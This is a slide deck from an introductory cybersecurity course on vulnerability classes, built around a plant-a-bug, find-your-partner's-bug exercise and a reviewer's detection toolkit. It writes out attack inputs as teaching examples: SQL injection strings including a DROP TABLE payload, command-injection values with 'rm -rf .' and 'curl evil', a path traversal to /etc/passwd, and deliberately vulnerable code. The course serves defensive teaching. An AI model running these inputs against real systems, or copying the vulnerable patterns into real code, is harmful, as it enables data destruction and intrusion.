The introduce-a-bug-then-find-it session: students plant one documented vulnerability in a small program, swap with a partner, and hunt down the partner's bug the way a reviewer does. It separates a bug from a vulnerability from an exploit, walks the main weakness classes with real code — memory-safety (buffer overflow, off-by-one, use-after-free, integer overflow), injection (SQL, command, cross-site scripting, path traversal), broken access control and logic bugs, race conditions and TOCTOU, and data-handling bugs (hardcoded secrets, weak crypto, insecure deserialization) — explains honestly how bugs get into code including the deliberate insider and supply-chain case, reframes what makes a bug subtle as a reviewer's checklist, and teaches the detection toolkit in order: static analysis and secret scanning, human review of the risky lines, adversarial and regression testing, and fuzzing, closing with a full bug-report template.
Subject: Cyber Security 101 · 74 slides · code lesson
Open the interactive version of this deck
Title
Cyber Security 101 — Session 3
The vulnerability classes, how they get into code, and how a reviewer hunts them down
Section
Why plant a bug to learn to find one
Objectives
This session is built around one assignment: you will plant a single, documented bug in a small program, swap with a partner, and find the bug they planted. Everything here serves that loop.
MITRE CWE Top 25 Most Dangerous Software Weaknesses the weakness classes this deck teaches
Picture it
Before any code, the one distinction people get wrong.
Figure (svg): Three boxes labelled bug, vulnerability and exploit with arrows between them, showing that every exploit rides on a vulnerability which started as a bug
Most bugs are harmless typos and logic slips. A vulnerability is the narrow subset an attacker can turn to their advantage. Your job in this assignment is to plant one bug that crosses that line, and to find the one your partner planted.
Concept
Keeping these apart is the difference between a useful bug report and a vague one.
bug — any place the code does something other than what was intended — a wrong result, a crash, a missed case
vulnerability — a bug that an attacker can use to break confidentiality, integrity or availability
exploit — the specific input or sequence of actions that actually abuses a vulnerability
A report that says found a bug is weak. A report that says found a vulnerability, here is the class, and here is the input that triggers it is what earns the marks.
MITRE CWE — the Common Weakness Enumeration, a catalogue of bug types weaknesses versus their exploitation
Definition probe
Drop each statement into the box it belongs in.
Sort into buckets
Which of the three is each one?
Concept
Whether a bug is a vulnerability comes down to one question: does it let someone break one of the three guarantees software is supposed to keep?
Figure (svg): Three circles labelled Confidentiality, Integrity and Availability with plain-language descriptions of each
A crash your partner can trigger on demand breaks availability. A bug that leaks another user's data breaks confidentiality. A bug that lets someone change a record they should not breaks integrity. Naming which one a bug breaks is half of a good report.
Real world
This loop is not a school invention.
Discussion prompt
Real security teams do exactly this assignment at scale — one group deliberately builds weakness in, another hunts it. What are those two activities called, and why would a company pay for both?
Hint: One side wears red, the other blue.
Answer:
The building-it-in side is a red team or a deliberately-vulnerable training app, like a CTF challenge or a range. Someone plants realistic weaknesses on purpose.
The hunting side is a blue team, a code review, a penetration test or a bug-bounty programme. They find the weaknesses before an attacker does.
A company pays for both because a bug found by your own side is cheap, and the same bug found by an attacker is a breach. This assignment is that economy in miniature.
Socratic
The assignment can feel backwards. Sit with why it is not.
Discussion prompt
You want to get good at finding bugs. Why is deliberately planting one — and having to document exactly what you planted — a better way to learn that than just reading about bug types?
Hint: Think about what you must understand to hide something well.
Answer:
To plant a convincing bug you have to understand the class from the inside: what it looks like, what makes it trigger, and what would give it away. That is the same knowledge a finder needs.
Documenting your own bug forces precision — the class, the trigger, the impact — which is exactly the vocabulary you then use to describe your partner's.
And hunting a bug a peer designed to be found is far closer to real review than reading a textbook example that announces itself. You practise the search, not just the recognition.
Section
When the program writes where it should not
Concept
A buffer is a fixed-size box for bytes. A buffer overflow is writing more bytes than the box holds, so the extra bytes land on whatever sits next to it in memory.
void greet(char *name) {
char buf[8]; // room for 8 bytes
strcpy(buf, name); // copies until it hits a 0 byte
printf("Hi %s\n", buf); // no check that name fits in 8
}| name passed in | bytes copied | what happens |
|---|---|---|
| Ann | 4 (with the terminator) | fits — nothing bad |
| Jonathan | 9 | one byte spills past buf |
| a 40-char name | 41 | spills far past buf into saved data |
strcpy copies until it finds a zero byte, and it never asks how big the destination is. The caller controls the length, so the caller controls how far past the box the write goes.
MITRE CWE — the Common Weakness Enumeration, a catalogue of bug types CWE-120, classic buffer copy without size check
Worked example
Step through what a nine-byte write does to an eight-byte buffer sitting below the saved return address.
char buf[8];
strcpy(buf, "AAAAAAAAA"); // nine A's, no room for themLay out the frame
Why: buf sits low, the saved frame pointer above it, the saved return address above that. Writes into buf grow upward toward them.
Fill the eight legal bytes
Why: The first eight A's fill buf exactly. So far nothing is wrong.
Write the ninth byte
Why: There is no ninth slot in buf, so it lands in the byte just above — the start of the saved frame pointer.
Step through it
At each step, ask: which saved value has now been corrupted, and what does the program do when the function returns?
Verify: the danger is the neighbour, not the buffer
Why: The bug is not that buf holds garbage — it is that the bytes past buf overwrite the saved return address. That is why a memory-safety bug so often turns into full control of the program.
MITRE CWE Top 25 Most Dangerous Software Weaknesses why memory-safety bugs rank so high
Picture it
The picture that makes the overflow obvious.
Figure (svg): A stack frame drawn as three stacked boxes: an eight-byte buffer at the bottom, the saved frame pointer above it, and the saved return address at the top, with an upward arrow showing writes growing toward the saved values
Once you can see that the return address sits just above your buffer, every unchecked copy into that buffer looks dangerous, because it is.
Prediction
Use the frame you just saw.
Predict first
A buffer holds 8 bytes. An attacker sends 20 bytes. Ignoring alignment, which saved value is most at risk?
Correct: The saved frame pointer and the saved return address above the buffer
Why: The extra twelve bytes are not dropped; strcpy keeps writing. They climb past the buffer into the saved frame pointer and then the saved return address, which is exactly the value that decides where the function returns.
Concept
An off-by-one bug is a loop or index that runs one step too far or one step too short. In C it writes one byte past the buffer; in almost any language it reads or skips one element it should not.
char buf[8];
for (int i = 0; i <= 8; i++) // <= should be <
buf[i] = data[i]; // buf[8] is one past the end| i | buf[i] valid? | note |
|---|---|---|
| 0 to 7 | yes | the eight real slots |
| 8 | no | one byte past the end — the off-by-one |
| fix | use i < 8 | the loop should stop before 8 |
The valid indexes of an eight-slot buffer are 0 through 7. Writing buf[8] is the single most common memory bug there is, and it hides because the code looks almost exactly right.
MITRE CWE — the Common Weakness Enumeration, a catalogue of bug types CWE-193, off-by-one error
Error analysis
A partner planted a bug in this array copy. It compiles and it usually works. Find the single character that is wrong.
Annotate
A reviewer's habit: every time you see a loop bound, ask out loud whether it should be less-than or less-than-or-equal. Half of all off-by-ones are caught by that one question.
Concept
Freeing memory hands it back to the system. A use-after-free is touching that memory afterwards, through a pointer that still points at it. The pointer looks fine; the thing it points at is gone.
char *p = malloc(16);
free(p); // the 16 bytes are handed back
strcpy(p, "hello"); // p still points there — but it is not yours now| moment | is p valid? | why it is dangerous |
|---|---|---|
| after malloc | yes | you own the 16 bytes |
| after free | no | the bytes may be reused by other code |
| after the strcpy | no | you just wrote into memory something else now owns |
The trap is that p is not set to null by free — it becomes a dangling pointer. Between the free and the reuse the code often still works, which is why a use-after-free can pass every test and still be a serious vulnerability.
MITRE CWE — the Common Weakness Enumeration, a catalogue of bug types CWE-416, use after free
Concept
Numbers in a computer have a fixed width. Push one past its maximum and it wraps around to a tiny value. That becomes dangerous the moment the number is a size passed to an allocator.
size_t n = get_count(); // attacker controls this
int *arr = malloc(n * 4); // n * 4 can wrap to a tiny number
for (size_t i = 0; i < n; i++)
arr[i] = 0; // loop still runs n times| n from attacker | n * 4 intended | n * 4 after wrap | result |
|---|---|---|---|
| 100 | 400 bytes | 400 bytes | fine |
| a huge value | billions of bytes | a tiny wrapped value | buffer far too small |
| the loop | writes n items | writes n items | writes way past the tiny buffer |
The allocation succeeds because the wrapped size is small, but the loop still runs the full count. So a tiny buffer gets filled with a huge number of writes — an overflow born from arithmetic, not from strcpy.
MITRE CWE — the Common Weakness Enumeration, a catalogue of bug types CWE-190, integer overflow leading to a small allocation
Discrimination
Same family, different exact fault. Sort each symptom.
Sort into buckets
Which memory-safety bug does each description point to?
Section
When input is treated as code
Concept
SQL injection happens when user input is glued straight into a database query. The database cannot tell your intended query from the attacker's addition — it is all just one string of SQL.
name = request.get("user")
# input is pasted straight into the SQL text
query = "SELECT * FROM users WHERE name = '" + name + "'"
db.execute(query)| name the user sends | query the database runs | effect |
|---|---|---|
| Ann | ... WHERE name = 'Ann' | normal lookup |
| ' OR '1'='1 | ... WHERE name = '' OR '1'='1' | matches every row |
| '; DROP TABLE users; -- | two statements, second drops the table | destroys data |
The apostrophe in the input closes the string the code opened, and everything after it is read as more SQL. The user is no longer supplying a name — they are supplying query logic.
OWASP Top 10 — the ten most common web application weakness classes A03 Injection
Worked example
Follow the exact string the database receives as the input changes.
query = "SELECT * FROM users WHERE name = '" + name + "'"Substitute a normal name
Why: With name = Ann, the query is SELECT ... WHERE name = 'Ann'. The apostrophes wrap the value the way the author intended.
| part of the query | who wrote it | role |
|---|---|---|
| SELECT * FROM users WHERE name = ' | the developer | fixed prefix |
| ' OR '1'='1 | the attacker | closes the string, adds a condition |
| ' | the developer | trailing quote, now harmless |
Substitute the attack string
Why: With name = ' OR '1'='1, the value's own apostrophe ends the string early, and OR '1'='1 becomes part of the WHERE clause. That condition is always true.
Figure (svg): A diagram of a trust boundary with untrusted input on the left and an interpreter on the right, showing that injection happens when input crosses the boundary and is treated as code
Verify: the fix keeps data on the data side
Why: Use a parameterized query: db.execute('... WHERE name = ?', [name]). The name is sent as a value, never as SQL text, so no apostrophe in it can ever change the query's structure.
OWASP Top 10 — the ten most common web application weakness classes parameterized queries as the fix
Error analysis
A partner's login handler. It works for every normal username and password. Find the line that makes it a vulnerability.
Annotate
The pattern to internalise: any time you see string formatting or concatenation building a query, a command or a path, treat it as guilty until proven innocent.
Concept
Same shape as SQL injection, different interpreter. Here the untrusted input is glued into a string that gets handed to the operating system shell.
host = request.get("host")
# the shell will interpret ; & | and more
os.system("ping -c 1 " + host)| host the user sends | command the shell runs | effect |
|---|---|---|
| 8.8.8.8 | ping -c 1 8.8.8.8 | normal ping |
| 8.8.8.8; rm -rf . | ping, then delete files | the semicolon starts a second command |
| 8.8.8.8 && curl evil | ping, then download | chains an attacker command |
The shell treats characters like the semicolon, the ampersand and the pipe as command separators. Any one of them in the input lets the attacker append their own command to yours.
OWASP Top 10 — the ten most common web application weakness classes OS command injection
Concept
Cross-site scripting, or XSS, is injection where the interpreter is the victim's browser. User input is written into a page without being escaped, so a script in that input runs in another user's session.
// comment is user-controlled text
page.innerHTML = "<div>" + comment + "</div>";
// if comment contains a script tag, the browser runs it| comment the user posts | what the browser does | effect |
|---|---|---|
| Nice post! | shows the text | normal |
| a script tag stealing cookies | runs the script | steals another visitor's session |
| an onerror image handler | runs the handler | same effect, no script tag needed |
The victim is not the person who typed the input — it is everyone else who later views the page. That is what the cross-site in the name means, and why XSS is so often underrated by beginners.
OWASP Top 10 — the ten most common web application weakness classes A03 Injection — cross-site scripting
Matching
Each of these strings is an attack. Pair it with the interpreter it abuses.
Match the pairs
Why: Three of these are injection into different interpreters — a database, a shell, and a browser — and the fourth is memory corruption. Recognising which interpreter is being abused tells you both the class and the fix.
Fill the middle
The vulnerable line concatenates input into SQL. Fill in the safe version.
Fill in the blanks
# unsafe:
# q = "SELECT id FROM users WHERE name = '" + name + "'"
# safe:
q = "SELECT id FROM users WHERE name = ?"
db.execute(q, [name])
Why: The placeholder — a question mark here, or a named marker in some libraries — tells the database driver to send name as a bound value, completely separate from the query text. No character in name can then change the query's structure.
Section
When the code works but the rules are wrong
Concept
Not every serious bug is a crash or an injection. Many are simply a missing check: the code does exactly what it says, but it never confirms the person is allowed to do it.
@app.get("/account/{id}")
def account(id):
# returns the account for any id, no owner check
return db.accounts.get(id)| request | who should see it | what the code does |
|---|---|---|
| /account/124 as user 124 | user 124 | returns it — correct |
| /account/125 as user 124 | nobody but 125 | returns it anyway |
| /account/1 as user 124 | the admin | returns it anyway |
This class is called insecure direct object reference: the id in the URL points straight at a record, and the code trusts whatever id it is handed. Changing one number in the address bar becomes an attack.
OWASP Top 10 — the ten most common web application weakness classes A01 Broken Access Control
Anomaly
You are testing your partner's app. You are logged in as user 124.
Predict first
You load /account/124 and see your own data. On a hunch you change the URL to /account/125 and see someone else's data. What did you just find?
Correct: A broken access control bug: the server never checks that the record belongs to you
Why: The record loaded because the code fetches by id and never asks whether the logged-in user owns that id. Being able to read another account by editing the URL is a textbook insecure direct object reference, and one of the most common real vulnerabilities there is.
Concept
A logic bug is where the code runs cleanly and still does the wrong thing, because the condition it checks is not the condition it should. Authentication is where these hurt most.
def is_admin(user):
if user.role == "admin" or user.role == "guest":
return True # 'or guest' is the planted bug
return False| user.role | should be admin? | function returns |
|---|---|---|
| admin | yes | True — correct |
| guest | no | True — the bug |
| member | no | False — correct |
There is no crash, no injection, nothing memory-unsafe. A single wrong word in a condition quietly grants admin rights to guests. Logic bugs are the hardest to spot precisely because the code looks calm and correct.
MITRE CWE — the Common Weakness Enumeration, a catalogue of bug types CWE-285, improper authorization
Concept
A race condition is a bug that appears only with a particular timing of concurrent actions. The classic security form is time-of-check to time-of-use, or TOCTOU: you check something, then use it, and the world changes in the gap.
if os.access(path, os.W_OK): # check: am I allowed to write?
# <-- attacker swaps 'path' for a link to a protected file here
with open(path, "w") as f: # use: write to it
f.write(data)| moment | what path points at | note |
|---|---|---|
| the check | a file the user may write | access() says yes |
| the gap | attacker replaces it with a link | the check is now stale |
| the use | a protected system file | the write hits the wrong file |
The check was true when it was made and false by the time it was used. Nothing in the code is individually wrong; the bug lives in the assumption that nothing changes between the two lines.
MITRE CWE — the Common Weakness Enumeration, a catalogue of bug types CWE-367, time-of-check time-of-use race
Worked example
Step through the two actors, the victim program and the attacker, taking turns.
T1 victim: access(path) -> allowed
T2 attacker: replace path with a link to /etc/secret
T3 victim: open(path, "w") -> opens /etc/secretVictim checks
Why: At T1 the victim asks may I write this path and the answer is yes, because right now it is an ordinary file the victim owns.
Attacker swaps
Why: At T2, before the victim opens the file, the attacker replaces the name with a link pointing at a protected file. The victim has no idea.
Step through it
At each step, ask: does path still point at the thing the check approved?
Verify: close the gap, do not widen the check
Why: The fix is to remove the gap: open the file once and check the handle you actually hold (for example with the O_NOFOLLOW flag), rather than checking a name and then trusting it later. Never separate the check from the use.
MITRE CWE — the Common Weakness Enumeration, a catalogue of bug types TOCTOU mitigation
Pattern
Memory and injection bugs have loud tells — a copy, an apostrophe, a concatenation. Logic and access-control bugs are quieter, but they still share one shape.
So the reviewer's move for this whole family is the same: find every decision that guards something valuable, and test whether the guard can be walked around — a wrong role, a changed id, a swapped file, a lucky timing.
OWASP Top 10 — the ten most common web application weakness classes access control as a design problem
Two truths and a lie
Two of these are safe to write in a report. One will get someone owned.
Eliminate the wrong options
Cross out the false statement.
Survives elimination: c1
Why: The lie is the first: hiding a control in the UI does nothing, because an attacker never uses your UI. They send the raw request. Authorisation must be enforced on the server for every request, not implied by what the interface chooses to display.
Section
Secrets, encoding, and trusting the wrong bytes
Concept
A hardcoded secret is a password, key or token written directly into the source code. It is a vulnerability because source code travels — into version control, into logs, into every laptop that ever cloned the repo.
# the key is right here in the file
API_KEY = "sk_live_9f2a7c1e4b88d0"
db = connect(password="hunter2")| where the code goes | who then sees the secret | risk |
|---|---|---|
| git history | everyone with repo access, forever | even after you delete the line |
| a public mirror | the whole internet | bots scan for exactly this |
| a crash log | anyone reading logs | secrets leak into error output |
Deleting the line later does not help: version control remembers every past version. The fix is to keep secrets out of code entirely — in environment variables or a secrets manager the code reads at run time.
MITRE CWE — the Common Weakness Enumeration, a catalogue of bug types CWE-798, use of hard-coded credentials
Concept
Cryptography bugs rarely look like crashes. They look like reasonable code that quietly provides far less protection than the author believes.
The rule of thumb for this whole class: do not invent it, and do not configure it by guesswork. Use a well-reviewed library with its safe defaults, and treat any homemade scheme as a planted bug.
OWASP Top 10 — the ten most common web application weakness classes A02 Cryptographic Failures
Concept
Path traversal is injection aimed at the filesystem. User input becomes part of a file path, and the input contains dot-dot segments that climb out of the folder you meant to confine it to.
name = request.get("file")
# meant to read from the uploads folder only
path = "uploads/" + name
return open(path).read()| file the user asks for | path opened | effect |
|---|---|---|
| report.pdf | uploads/report.pdf | intended |
| ../config.py | uploads/../config.py | climbs up one folder |
| ../../etc/passwd | escapes to a system file | reads outside uploads entirely |
Each dot-dot means go up one folder, so a name full of them walks out of the uploads directory and into the rest of the disk. The fix is to reject or strip path separators and dot-dot, and to resolve the final path and confirm it still sits inside the allowed folder.
MITRE CWE — the Common Weakness Enumeration, a catalogue of bug types CWE-22, path traversal
Concept
Deserialization turns stored bytes back into a live object. It becomes a vulnerability when those bytes came from an untrusted source, because some formats can be crafted to run code or build dangerous objects as they load.
import pickle
# data came from the user's cookie
obj = pickle.loads(data) # can execute code while loading| source of the bytes | safe to deserialize? | why |
|---|---|---|
| a file you wrote yourself | usually | you control the contents |
| a user cookie or upload | no | the attacker controls the bytes |
| a network message | no | same — treat it as hostile |
The dangerous idea is that loading data feels passive, like reading a number. With formats like Python's pickle or Java's native serialization, loading is active: it can construct objects and run code. Use a data-only format such as JSON for anything that crosses a trust boundary.
OWASP Top 10 — the ten most common web application weakness classes A08 Software and Data Integrity Failures
Sorting
Ten classes, five families. Drop each into the family it belongs to.
Sort into buckets
Which family does each bug class fall under?
Being able to name the family fast is what lets you jump straight to the right fix and the right detection tool.
Comparison
Fill the missing fixes. This table is the one to keep beside you during the hunt.
Comparison matrix
| bug class | typical impact | the fix in one line |
|---|---|---|
| buffer overflow | attacker controls execution | bounds-checked copies, or a memory-safe language |
| SQL injection | reads or destroys the database | parameterized queries |
| broken access control | reads or edits others' data | authorise every request on the server |
| hardcoded secret | leaked keys and passwords | secrets in env vars, not in code |
Notice the fixes are boringly consistent within a family. That is good news: learn one fix and it generalises across the whole class.
Section
The honest sources, and the deliberate one
Concept
For the finding half of this assignment to make sense, you have to know how bugs get in. Almost all of them arrive the same few honest ways — and a deliberately planted bug simply imitates one of them.
A well-planted bug in this assignment looks exactly like one of these. That is the point: if your bug looks deliberate, it is too easy to find, and if your partner's looks accidental, it is realistic practice.
MITRE CWE Top 25 Most Dangerous Software Weaknesses the most common real-world weaknesses
Estimation
Across large studies of real vulnerabilities, one source dominates the web-application category year after year.
Predict first
Which single source below accounts for the largest share of exploited web vulnerabilities?
Correct: Missing or wrong input handling and access checks
Why: Year after year the OWASP data puts broken access control and injection — both fundamentally about untrusted input and missing checks — at the very top. Exotic crypto and compiler or hardware faults are real but rare. Spend your review time where the bugs actually are.
Concept
Not every bug is an accident. Sometimes one is inserted on purpose to be hard to spot — by a malicious insider, or in a dependency your project pulls in. Understanding this is defensive: you cannot review for what you refuse to imagine.
The reason to study the deliberate case is not to become the insider. It is that a bug designed to look innocent is the hardest to find, so practising against one makes you far better at catching the accidental ones too.
The Underhanded C Contest — deliberately-planted, plausible-looking bugs the underhanded-code tradition, used for training
Trap
The wrong belief, and the one that lets almost every planted bug survive:
It compiled and the tests pass, so the code is correct and there is no security bug.
What is actually true:
Passing tests raises the floor but proves nothing about security. Security bugs are found by adversarial thinking, not by the happy-path tests that shipped with the code.
Real world
Ground the deliberate-bug idea in something you already depend on.
Discussion prompt
Your small program imports three libraries. You wrote none of them. How does everything in this deck apply to code you did not write, and what can you actually do about it?
Hint: You did not write it, but you still ship it.
Answer:
Every bug class here can arrive inside a dependency, and your program inherits it as if you had written it yourself. You own the risk even though you did not write the line.
You cannot review every library by hand, so you lean on tooling: dependency scanners that flag known-vulnerable versions, and pinned, checked versions so an update cannot silently swap in something hostile.
That is why the finding half of this course is as much about running the right tools as about reading code — no human reads a million lines of dependency, but a scanner can.
Section
And what that tells the reviewer to look for
Concept
The things that make a bug subtle are not tricks for hiding it in production — they are the properties a reviewer learns to recognise. Read this list as where to look, not how to conceal.
Flip every line around and you have the reviewer's checklist. A bug is subtle exactly where attention is scarce, so the discipline is to spend attention where it is scarce on purpose.
The Underhanded C Contest — deliberately-planted, plausible-looking bugs what makes planted bugs plausible
Error analysis
This validates a money transfer. It reads well, the names are right, and it passes the tests that shipped with it. One detail makes it a vulnerability.
Annotate
This is the whole game: the bug is not hidden by cleverness, it is hidden by living where no test and no casual reader ever goes.
Discrimination
Part of hunting is knowing which bugs a quick read will catch and which need real effort.
Sort into buckets
For each bug, will a careful line-by-line read likely catch it, or does it need adversarial testing or a tool?
Edge cases
Push on the honest limits of human review.
Discussion prompt
You have twenty minutes to review a 500-line program for a planted bug. Where is your attention weakest, and how do you compensate so a bug cannot hide there?
Hint: What are you like on line 400 versus line 4?
Answer:
Attention is weakest in the middle of long files, in boilerplate and config, and after the first few interesting findings when you start to relax. Planted bugs love exactly those spots.
You compensate by not relying on attention alone: review the risky lines first while fresh, then hand the boring bulk to tools — a linter, a static analyser, a secret scanner — that never get tired or bored.
The combination is the point. Humans are good at judgement on the risky few percent; tools are good at tireless coverage of the rest. Neither alone finds everything.
Explain it to yourself
If you can say this cleanly, the finding half has landed.
Discussion prompt
In your own words, why do so many security bugs live specifically in edge cases — the empty input, the maximum value, the concurrent action?
Hint: What inputs does someone write tests for, and which do they skip?
Answer:
Because authors write code and tests for the cases they picture, and they picture the normal ones. The empty, the huge, the hostile and the concurrent are the cases they did not picture.
An attacker's entire job is to supply the inputs the author never imagined, so vulnerabilities cluster precisely where imagination and testing ran out.
That is why finding bugs is an act of imagination too: you win by thinking of the input the author did not, and edge cases are the organised way to search for it.
Section
The reviewer's toolkit, in order
Concept
Human review comes first because it is the only step that understands intent. But a good reviewer does not read top to bottom — they read the dangerous parts first, while attention is highest.
Figure (svg): An ordered list showing a reviewer's priority: input handling first, then anything building a query command or path, then permission checks, then buffers and loop bounds, then everything else
Run down that order and, at each risky line, ask the same three questions: where does this input come from, is it checked, and what interpreter or memory does it reach. Most planted bugs answer one of those questions badly.
OWASP Top 10 — the ten most common web application weakness classes code review guidance
Worked example
A partner sends you a four-line change. Walk it the way a reviewer would.
- user = escape(request.get("user"))
+ user = request.get("user")
q = "SELECT id FROM users WHERE name='" + user + "'"
db.execute(q)Read the risky line first
Why: The query is built by concatenation, so before anything else this line handles user input on its way into an interpreter. That is priority one on the checklist.
| question | answer for this diff | verdict |
|---|---|---|
| where does user come from? | straight from the request | untrusted |
| is it checked or escaped? | the escape call was just removed | no |
| what interpreter does it reach? | the SQL database | injection risk |
Name the change's effect
Why: The diff removes the one thing that was neutralising the input. It turns a safe line into a SQL injection — a perfect example of a planted bug disguised as a cleanup.
Figure (svg): A trust boundary diagram showing untrusted input crossing into a SQL interpreter, illustrating that removing the escape lets input become code
Verify: state it as a finding
Why: Write it up: SQL injection introduced at this line by removing input escaping; fix is a parameterized query. That sentence is the whole review, and it is what you will hand back to your partner.
OWASP Top 10 — the ten most common web application weakness classes reviewing changes for injection
Concept
Static analysis, or SAST, examines the source without running it, matching it against thousands of known bug patterns. It never gets tired, so it covers the boring bulk a human skims.
# examples of static analysers you point at source
bandit app.py # python security linter
semgrep --config auto . # pattern rules across languages| what it is great at | what it misses | so you also need |
|---|---|---|
| known patterns: strcpy, concatenated SQL, literal secrets | logic and access-control bugs | human review |
| covering every file tirelessly | whether a check enforces the right rule | adversarial testing |
| fast, repeatable, runs on every commit | brand-new bug shapes | fuzzing and tests |
Treat its output as leads, not verdicts: some findings are false alarms, but every strcpy and every concatenated query it flags is worth a look. It is the cheapest way to clear the obvious half of the search.
NIST SP 800-53 / secure software development practices static analysis in secure development
Concept
Fuzzing runs your program on a flood of malformed, random and boundary inputs, watching for a crash or a hang. It finds exactly the edge-case bugs a human never thinks to type.
# feed a program millions of mutated inputs, watch for crashes
afl-fuzz -i seeds/ -o findings/ -- ./parser @@| fuzzer sends | program does | meaning |
|---|---|---|
| a normal input | handles it | no finding |
| an empty or giant input | crashes | a memory or size bug, caught |
| a saved crashing input | crashes again | a reproducer you can hand over |
The gift of fuzzing is that a crash comes with the exact input that caused it, so you find the bug and prove it in the same step. It is unbeatable for memory-safety and parsing bugs.
MITRE CWE Top 25 Most Dangerous Software Weaknesses fuzzing against memory-safety weaknesses
Picture it
The picture behind the flood of inputs.
Figure (svg): A diagram of a fuzzer mutating inputs and feeding them to a program, with a crash on the right shown as a caught bug that comes with the exact input that triggered it
A fuzzer is patience at machine speed: it tries the empty string, the four-billion-byte string, and the one weird byte in the middle, over and over, until something breaks.
Concept
Dynamic testing runs the program and probes its behaviour — including the adversarial inputs from this whole deck. Once a bug is found, a regression test locks it dead so it can never quietly return.
def test_login_rejects_sql():
# the exact attack, frozen as a test
assert login("admin'--", "x") is False| test kind | what it proves | when it runs |
|---|---|---|
| happy-path test | normal use works | always — but proves no security |
| adversarial test | a specific attack is blocked | when you think of the attack |
| regression test | a fixed bug stays fixed | on every commit, forever |
The move that makes finding pay off long-term: the moment you find your partner's bug, write the failing test first, then confirm the fix makes it pass. Now that class of bug can never sneak back in.
NIST SP 800-53 / secure software development practices test-driven security fixes
Concept
The last two tools cover what human review structurally cannot: the code you did not write, and the secrets you did not mean to commit.
pip-audit # flag known-vulnerable dependencies
git secrets --scan # catch committed keys and passwords| scanner | what it catches | why a human cannot |
|---|---|---|
| dependency audit | libraries with known vulnerabilities | nobody reads a million lines of dependency |
| secret scanner | keys and passwords in code or history | secrets hide in old commits nobody re-reads |
| both | run automatically on every push | machines never get bored or forget |
These are cheap to run and catch entire classes at once. In a real project they run on every commit, so a hardcoded key or a vulnerable library is caught the moment it lands, not after a breach.
OWASP Top 10 — the ten most common web application weakness classes dependency and secret scanning
Ranking
There is a sensible order to the hunt: cheap and broad first, expensive and deep last.
Put in order
Why: Run the cheap, tireless tools first to clear the obvious half, then spend scarce human attention on the logic bugs only a person catches, then test the specific attacks you imagined, and finally let a fuzzer grind out the edge cases nobody imagined. Cheapest and broadest first, deepest and slowest last.
Elimination
You suspect a specific bug. Rule out the wrong tools and keep the one that fits best.
Eliminate the wrong options
Your partner's C program crashes on some inputs but not others, with no idea which. Which single approach is most likely to find and reproduce it?
Survives elimination: e3
Why: A crash on some inputs but not others is the textbook case for fuzzing: it floods the program with malformed inputs until one crashes it, and hands you the exact input that did — finding and reproducing the bug in one move.
Section
Turning all of this into the assignment
Concept
Here is the whole assignment as a procedure. Follow it exactly and the grading takes care of itself, because the report writes itself from the steps.
Figure (svg): A four-step loop: plant one documented bug, swap with a partner, find the bug by review then tools, and write the report that closes the loop
The Underhanded C Contest — deliberately-planted, plausible-looking bugs the plant-and-find format
Worked example
This is the template your report should fill, shown filled in for the transfer bug from earlier.
TITLE: Negative-amount transfer bypasses the balance check
LOCATION: transfer(), line 3
CLASS: logic / missing input validation
TRIGGER: amount = -100 with any balance
IMPACT: integrity — credits the sender, an unauthorised gain
FOUND BY: adversarial test with a negative amount
FIX: also reject amount <= 0Say where and what
Why: The location and class come first, so a reader knows exactly where to look and what family they are dealing with before any detail.
| report field | why it is required | who uses it |
|---|---|---|
| trigger | lets anyone reproduce it | the person fixing it |
| impact | says which guarantee it breaks | whoever prioritises fixes |
| found by | shows the method, so it can be reused | the reviewer being graded |
Prove it and fix it
Why: The trigger is the reproducer; the fix is the one-line change. A report without a reproducer is a guess, and a report without a fix is only half done.
Figure (svg): The plant-and-find loop diagram, showing the report as the artefact that closes the cycle between planting and finding a bug
Verify: check it against the private notes
Why: The report is right when its class, location and trigger match what your partner secretly planted. If your class is right but your trigger differs, you found a real second path — which is a stronger result, not a weaker one.
OWASP Top 10 — the ten most common web application weakness classes writing an actionable finding
Real world
The assignment is a scale model of a real security workflow.
Discussion prompt
Name the real-world activity each part of this lab is practising, so you can put it on a resume honestly.
Hint: Each half of the loop is a real job.
Answer:
Planting a documented, realistic bug is what people building CTF challenges, training ranges and red-team exercises do for a living.
Reviewing the risky lines and running the tools is code review, static analysis and penetration testing — the daily work of an application-security engineer.
Writing the report with a class, a reproducer and a fix is exactly a bug-bounty submission or a pentest finding. The skill transfers directly, format and all.
Connect it up
Twenty minutes on this beats another hour of reading, and it is the artefact to bring to the review.
Draw it
Draw four boxes — memory-safety, injection, access and logic, data-handling. In each, list its bug classes from this deck, and beside each class write its one-line fix and the single tool most likely to find it. Then circle the one class you find hardest to spot; that is the one to plant.
The class you find hardest to spot is the one worth planting, because building it teaches you to see it, and seeing it is the whole point.
Section
Make it stick
Warm-up
Close the deck. This is the check on whether today stuck.
Discussion prompt
From memory: the three-word chain that is not synonyms; the three things the CIA triad names; the class of the OR-one-equals-one string; what sits just above a stack buffer; the one-line fix for SQL injection; how you test for broken access control; what makes a bug subtle; and the tool for a crash on unknown inputs.
Hint: Three words, three letters, one class, one neighbour, one fix, one method, one property, one tool.
Answer:
Bug, then vulnerability, then exploit.
Confidentiality, integrity, availability.
SQL injection — it closes the string and adds an always-true condition.
The saved frame pointer and, above it, the saved return address.
Use a parameterized query so input is a bound value, never SQL text.
Change the id, or act as the wrong role, and see if the check stops you.
It looks normal, sits on a rare path, and passes the tests the author wrote.
A fuzzer — it finds the crashing input and hands it back as a reproducer.
Check
One question that ties the classes to the fixes. Decide before you click.
Check your understanding
A web handler runs os.system('convert ' + filename) where filename comes from an upload form. What is the bug class, and the right fix?
Answer: B
Why: Untrusted input glued into a string handed to the shell is command injection: a filename like x; rm -rf . runs a second command. The fix is to avoid the shell entirely — pass the program and its arguments as a list to an exec-style API — so the filename can never be parsed as shell syntax.
Exit ticket
This tells me what to prepare for the review session, so pick the one you would actually build.
Predict first
Which class will you plant for your partner?
Correct: Whichever you pick is what I will prepare review practice for.
Why: The last option is the one worth taking seriously: choosing by subtlety rather than by class is how real reviewers and attackers think, and building the subtlest bug you can manage is the fastest way to learn to see it in someone else's code.
Recap
This session turned bug into a precise idea and gave you both halves of the loop: how weaknesses get into code, and how to hunt them out.
| to find this | reach for | because |
|---|---|---|
| visible-in-source bugs | static analysis and a careful read | patterns and secrets jump out |
| access and logic bugs | adversarial testing | no single line looks wrong |
| memory and parsing crashes | a fuzzer | it finds and reproduces at once |
| vulnerable libraries | a dependency audit | you cannot read them by hand |
| a fixed bug staying fixed | a regression test | it runs on every commit forever |
MITRE CWE Top 25 Most Dangerous Software Weaknesses every class above maps to a real weakness in the wild
Want this taught 1-on-1? Alexander tutors Cyber Security 101 — $55/session, free consultation.